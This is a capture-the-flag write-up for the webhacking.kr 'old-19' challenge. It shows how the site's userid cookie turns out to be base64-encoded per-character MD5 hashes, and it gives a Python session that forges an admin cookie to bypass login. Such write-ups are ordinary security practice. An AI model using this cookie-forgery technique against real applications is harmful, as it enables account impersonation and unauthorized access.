# old-19 -- Auth (Hashes Chars)

URL: <https://webhacking.kr/challenge/js-6/>

![old-19-3.png](https://1851336151-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDpkievH4dLdiyHIEAK5Y%2Fuploads%2Fgit-blob-1855c536d32dd7f8b15ce746ec8be4784cbada6a%2Fold-19-3.png?alt=media)

If we submit `admin`:![old-19-1.png](https://1851336151-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDpkievH4dLdiyHIEAK5Y%2Fuploads%2Fgit-blob-57f98441e6ddc023388318d2058665127a046632%2Fold-19-1.png?alt=media)

URL becomes: `https://webhacking.kr/challenge/js-6/?id=admin`

After some testing I tried a single char: `https://webhacking.kr/challenge/js-6/?id=t`\
We get cookie userid: `ZTM1OGVmYTQ4OWY1ODA2MmYxMGRkNzMxNmI2NTY0OWU`\
Seems Base64, decoding gives: `e358efa489f58062f10dd7316b65649e`\
Looks like hash, try <https://crackstation.net> gives `t`

The app seems to encode each character with md5 hash, concatenate and base64 encode for cookie.

To bypass we should do the same, but for admin.

```python
Python 3.11.6 (tags/v3.11.6:8b6ee5b, Oct  2 2023, 14:57:12) [MSC v.1935 64 bit (AMD64)] on win32
>>> from hashlib import md5
>>> from base64 import b64encode
>>> user = 'admin'
>>> hashed = ''.join(md5(c.encode()).hexdigest() for c in user)
>>> hashed
'0cc175b9c0f1b6a831c399e2697726618277e0910d750195b448797616e091ad6f8f57715090da2632453988d9a1501b865c0c0b4ab0e063e5caa3387c1a87417b8b965ad4bca0e41ab51de7b31363a1'
>>> cookie = b64encode(hashed.encode()).decode()
>>> cookie
'MGNjMTc1YjljMGYxYjZhODMxYzM5OWUyNjk3NzI2NjE4Mjc3ZTA5MTBkNzUwMTk1YjQ0ODc5NzYxNmUwOTFhZDZmOGY1NzcxNTA5MGRhMjYzMjQ1Mzk4OGQ5YTE1MDFiODY1YzBjMGI0YWIwZTA2M2U1Y2FhMzM4N2MxYTg3NDE3YjhiOTY1YWQ0YmNhMGU0MWFiNTFkZTdiMzEzNjNhMQ=='
```

Set cookie and refresh:![old-19-2.png](https://1851336151-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDpkievH4dLdiyHIEAK5Y%2Fuploads%2Fgit-blob-324a4d020ca2ed2eab3a81d6904d7bc26cda5ef6%2Fold-19-2.png?alt=media)
